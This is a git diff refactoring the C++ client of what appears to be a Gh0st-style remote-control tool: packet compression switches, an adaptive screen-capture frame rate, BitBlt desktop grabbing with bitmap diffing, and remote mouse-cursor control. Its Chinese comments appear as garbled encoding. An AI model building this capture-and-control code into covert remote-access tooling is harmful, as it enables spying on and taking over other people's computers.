style: 整理远程桌面代码
This commit is contained in:
@@ -283,6 +283,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||||
|
// <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||||
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
|
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
|
||||||
{
|
{
|
||||||
AUTO_TICK(50);
|
AUTO_TICK(50);
|
||||||
@@ -293,6 +295,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 <><CEA2><EFBFBD>ṩ
|
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 <><CEA2><EFBFBD>ṩ
|
||||||
//nSize = 436
|
//nSize = 436
|
||||||
//destLen = 448
|
//destLen = 448
|
||||||
|
#if USING_COMPRESS
|
||||||
#if USING_ZLIB
|
#if USING_ZLIB
|
||||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||||
#elif USING_LZ4
|
#elif USING_LZ4
|
||||||
@@ -313,6 +316,10 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
ulCompressedLength = iRet;
|
ulCompressedLength = iRet;
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#else // <20><>ѹ<EFBFBD><D1B9>
|
||||||
|
unsigned long ulCompressedLength = ulOriginalLength;
|
||||||
|
LPBYTE CompressedBuffer = (LPBYTE)szBuffer;
|
||||||
|
#endif
|
||||||
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
||||||
CBuffer m_WriteBuffer;
|
CBuffer m_WriteBuffer;
|
||||||
|
|
||||||
@@ -326,8 +333,11 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
//[Shine][ 30 ][5]
|
//[Shine][ 30 ][5]
|
||||||
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
||||||
|
|
||||||
|
#if USING_COMPRESS // ʹ<><CAB9>ѹ<EFBFBD><D1B9><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||||
delete [] CompressedBuffer;
|
delete [] CompressedBuffer;
|
||||||
CompressedBuffer = NULL;
|
CompressedBuffer = NULL;
|
||||||
|
#endif
|
||||||
|
|
||||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||||
//shine[0035][0010][HelloWorld+12]
|
//shine[0035][0010][HelloWorld+12]
|
||||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
|
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
|
||||||
@@ -338,6 +348,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
// 5 2 // 2 2 1
|
// 5 2 // 2 2 1
|
||||||
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
|
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
|
||||||
{
|
{
|
||||||
|
AUTO_TICK(25);
|
||||||
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
||||||
const char* Travel = szBuffer;
|
const char* Travel = szBuffer;
|
||||||
int i = 0;
|
int i = 0;
|
||||||
|
|||||||
@@ -17,8 +17,8 @@
|
|||||||
|
|
||||||
#pragma comment(lib,"ws2_32.lib")
|
#pragma comment(lib,"ws2_32.lib")
|
||||||
|
|
||||||
#define MAX_RECV_BUFFER 1024*8
|
#define MAX_RECV_BUFFER 1024*32
|
||||||
#define MAX_SEND_BUFFER 1024*8
|
#define MAX_SEND_BUFFER 1024*32
|
||||||
#define FLAG_LENGTH 5
|
#define FLAG_LENGTH 5
|
||||||
#define HDR_LENGTH 13
|
#define HDR_LENGTH 13
|
||||||
|
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
|
|||||||
|
|
||||||
m_ScreenSpyObject = new CScreenSpy(16);
|
m_ScreenSpyObject = new CScreenSpy(16);
|
||||||
|
|
||||||
szBuffer = new char[4 * m_ScreenSpyObject->m_ulFullWidth * m_ScreenSpyObject->m_ulFullHeight];
|
szBuffer = new char[4 * m_ScreenSpyObject->GetWidth() * m_ScreenSpyObject->GetHeight()];
|
||||||
|
|
||||||
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||||||
}
|
}
|
||||||
@@ -53,8 +53,11 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
const int fps = 8;// ֡<><D6A1>
|
const int fps = 8;// ֡<><D6A1>
|
||||||
#endif
|
#endif
|
||||||
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||||||
int c1 = 0, c2 = 0, s0 = sleep;
|
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||||||
|
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
|
||||||
|
int s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
|
||||||
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||||
|
const double alpha = 1.2; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
timeBeginPeriod(1);
|
timeBeginPeriod(1);
|
||||||
while (This->m_bIsWorking)
|
while (This->m_bIsWorking)
|
||||||
{
|
{
|
||||||
@@ -64,23 +67,23 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
int span = s0-(clock() - last);
|
int span = s0-(clock() - last);
|
||||||
Sleep(span > 0 ? span : 1);
|
Sleep(span > 0 ? span : 1);
|
||||||
if (span < 0)
|
if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
|
||||||
{
|
{
|
||||||
c2 = 0;
|
c2 = 0;
|
||||||
if (frames == ++c1) {
|
if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
s0 = (s0 <= sleep*4) ? s0*2 : s0;
|
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
|
||||||
c1 = 0;
|
c1 = 0;
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
printf("[+]SendScreen Span= %dms, s0= %d\n", span, s0);
|
printf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
} else {
|
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
|
||||||
c1 = 0;
|
c1 = 0;
|
||||||
if (frames == ++c2) {
|
if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
s0 = (s0 >= sleep/4) ? s0/2 : s0;
|
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
|
||||||
c2 = 0;
|
c2 = 0;
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
printf("[-]SendScreen Span= %dms, s0= %d\n", span, s0);
|
printf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -97,7 +100,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
VOID CScreenManager::SendBitMapInfo()
|
VOID CScreenManager::SendBitMapInfo()
|
||||||
{
|
{
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D>ṹ<EFBFBD>Ĵ<EFBFBD>С
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D>ṹ<EFBFBD>Ĵ<EFBFBD>С
|
||||||
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize();
|
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||||||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||||||
|
|
||||||
@@ -279,10 +282,10 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
|||||||
POINT Point;
|
POINT Point;
|
||||||
Point.x = LOWORD(Msg->lParam);
|
Point.x = LOWORD(Msg->lParam);
|
||||||
Point.y = HIWORD(Msg->lParam);
|
Point.y = HIWORD(Msg->lParam);
|
||||||
if(m_ScreenSpyObject->m_bZoomed)
|
if(m_ScreenSpyObject->IsZoomed())
|
||||||
{
|
{
|
||||||
Point.x *= m_ScreenSpyObject->m_wZoom;
|
Point.x *= m_ScreenSpyObject->GetWZoom();
|
||||||
Point.y *= m_ScreenSpyObject->m_hZoom;
|
Point.y *= m_ScreenSpyObject->GetHZoom();
|
||||||
}
|
}
|
||||||
SetCursorPos(Point.x, Point.y);
|
SetCursorPos(Point.x, Point.y);
|
||||||
SetCapture(WindowFromPoint(Point));
|
SetCapture(WindowFromPoint(Point));
|
||||||
|
|||||||
@@ -14,22 +14,8 @@
|
|||||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
||||||
{
|
{
|
||||||
m_bAlgorithm = ALGORITHM_DIFF;
|
m_bAlgorithm = ALGORITHM_DIFF;
|
||||||
m_dwBitBltRop = SRCCOPY;
|
m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
|
||||||
m_BitmapInfor_Full = NULL;
|
|
||||||
switch (ulbiBitCount)
|
|
||||||
{
|
|
||||||
case 16:
|
|
||||||
case 32:
|
|
||||||
m_ulbiBitCount = ulbiBitCount;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
m_ulbiBitCount = 16;
|
|
||||||
}
|
|
||||||
|
|
||||||
m_hDeskTopWnd = GetDesktopWindow();
|
|
||||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
|
||||||
|
|
||||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
|
||||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
||||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||||
DEVMODE devmode;
|
DEVMODE devmode;
|
||||||
@@ -44,29 +30,50 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
|||||||
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
||||||
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||||
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
|
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
|
||||||
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
|
|
||||||
|
m_BitmapInfor_Full = new BITMAPINFO();
|
||||||
|
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||||
|
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||||
|
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);
|
||||||
|
BitmapInforHeader->biWidth = m_ulFullWidth; //1080
|
||||||
|
BitmapInforHeader->biHeight = m_ulFullHeight; //1920
|
||||||
|
BitmapInforHeader->biPlanes = 1;
|
||||||
|
BitmapInforHeader->biBitCount = ulbiBitCount; //ͨ<><CDA8>Ϊ32
|
||||||
|
BitmapInforHeader->biCompression = BI_RGB;
|
||||||
|
BitmapInforHeader->biSizeImage =
|
||||||
|
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
|
||||||
|
|
||||||
|
m_hDeskTopWnd = GetDesktopWindow();
|
||||||
|
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||||
|
|
||||||
m_BitmapData_Full = NULL;
|
m_BitmapData_Full = NULL;
|
||||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||||
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||||
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||||
|
|
||||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
m_DiffBitmapData_Full = NULL;
|
||||||
|
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
||||||
|
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||||
|
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||||
|
|
||||||
m_RectBufferOffset = 0;
|
m_RectBufferOffset = 0;
|
||||||
|
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
||||||
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
|
||||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
|
||||||
DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
|
||||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
CScreenSpy::~CScreenSpy()
|
CScreenSpy::~CScreenSpy()
|
||||||
{
|
{
|
||||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC
|
if (m_BitmapInfor_Full != NULL)
|
||||||
|
{
|
||||||
|
delete m_BitmapInfor_Full;
|
||||||
|
m_BitmapInfor_Full = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||||||
|
|
||||||
if (m_hFullMemDC!=NULL)
|
if (m_hFullMemDC!=NULL)
|
||||||
{
|
{
|
||||||
DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
DeleteDC(m_hFullMemDC);
|
||||||
|
|
||||||
::DeleteObject(m_BitmapHandle);
|
::DeleteObject(m_BitmapHandle);
|
||||||
if (m_BitmapData_Full!=NULL)
|
if (m_BitmapData_Full!=NULL)
|
||||||
@@ -79,7 +86,7 @@ CScreenSpy::~CScreenSpy()
|
|||||||
|
|
||||||
if (m_hDiffMemDC!=NULL)
|
if (m_hDiffMemDC!=NULL)
|
||||||
{
|
{
|
||||||
DeleteDC(m_hDiffMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
DeleteDC(m_hDiffMemDC);
|
||||||
|
|
||||||
::DeleteObject(m_DiffBitmapHandle);
|
::DeleteObject(m_DiffBitmapHandle);
|
||||||
if (m_DiffBitmapData_Full!=NULL)
|
if (m_DiffBitmapData_Full!=NULL)
|
||||||
@@ -88,12 +95,6 @@ CScreenSpy::~CScreenSpy()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (m_BitmapInfor_Full!=NULL)
|
|
||||||
{
|
|
||||||
delete[] m_BitmapInfor_Full;
|
|
||||||
m_BitmapInfor_Full = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_RectBuffer)
|
if (m_RectBuffer)
|
||||||
{
|
{
|
||||||
delete[] m_RectBuffer;
|
delete[] m_RectBuffer;
|
||||||
@@ -103,38 +104,10 @@ CScreenSpy::~CScreenSpy()
|
|||||||
m_RectBufferOffset = 0;
|
m_RectBufferOffset = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
|
|
||||||
ULONG ulFullWidth, ULONG ulFullHeight)
|
|
||||||
{
|
|
||||||
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
|
||||||
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
|
|
||||||
BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
|
|
||||||
|
|
||||||
BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
|
|
||||||
|
|
||||||
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
|
|
||||||
BitmapInforHeader->biWidth = ulFullWidth; //1080
|
|
||||||
BitmapInforHeader->biHeight = ulFullHeight; //1920
|
|
||||||
BitmapInforHeader->biPlanes = 1;
|
|
||||||
BitmapInforHeader->biBitCount = ulbiBitCount; //32
|
|
||||||
BitmapInforHeader->biCompression = BI_RGB;
|
|
||||||
BitmapInforHeader->biXPelsPerMeter = 0;
|
|
||||||
BitmapInforHeader->biYPelsPerMeter = 0;
|
|
||||||
BitmapInforHeader->biClrUsed = 0;
|
|
||||||
BitmapInforHeader->biClrImportant = 0;
|
|
||||||
BitmapInforHeader->biSizeImage =
|
|
||||||
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
|
|
||||||
|
|
||||||
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
|
||||||
|
|
||||||
return BitmapInfor;
|
|
||||||
}
|
|
||||||
|
|
||||||
LPVOID CScreenSpy::GetFirstScreenData()
|
LPVOID CScreenSpy::GetFirstScreenData()
|
||||||
{
|
{
|
||||||
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
||||||
::BitBlt(m_hFullMemDC, 0, 0,
|
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
|
||||||
m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
|
|
||||||
|
|
||||||
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
|
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
|
||||||
}
|
}
|
||||||
@@ -156,6 +129,7 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
|
|||||||
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
||||||
|
|
||||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
static CCursorInfo m_CursorInfor;
|
||||||
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
|
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
|
||||||
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
||||||
|
|
||||||
@@ -163,12 +137,10 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
|
|||||||
if (m_bAlgorithm == ALGORITHM_DIFF)
|
if (m_bAlgorithm == ALGORITHM_DIFF)
|
||||||
{
|
{
|
||||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth,
|
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||||
m_BitmapInfor_Full->bmiHeader.biHeight);
|
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
|
||||||
*ulNextSendLength = m_RectBufferOffset +
|
*ulNextSendLength = m_RectBufferOffset + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
|
||||||
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
|
|
||||||
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||||
|
|
||||||
return m_RectBuffer;
|
return m_RectBuffer;
|
||||||
@@ -182,7 +154,7 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
|||||||
{
|
{
|
||||||
AUTO_TICK(70);
|
AUTO_TICK(70);
|
||||||
#if COPY_ALL
|
#if COPY_ALL
|
||||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
|
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
|
||||||
#else
|
#else
|
||||||
const ULONG ulJumpLine = 50;
|
const ULONG ulJumpLine = 50;
|
||||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||||
@@ -195,15 +167,14 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
|||||||
ulToJump = ulJumpLine;
|
ulToJump = ulJumpLine;
|
||||||
else
|
else
|
||||||
ulToJump = ulv1;
|
ulToJump = ulv1;
|
||||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
|
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
|
||||||
Sleep(ulJumpSleep);
|
Sleep(ulJumpSleep);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength)
|
||||||
LPBYTE szBuffer, DWORD ulCompareLength)
|
|
||||||
{
|
{
|
||||||
AUTO_TICK(20);
|
AUTO_TICK(20);
|
||||||
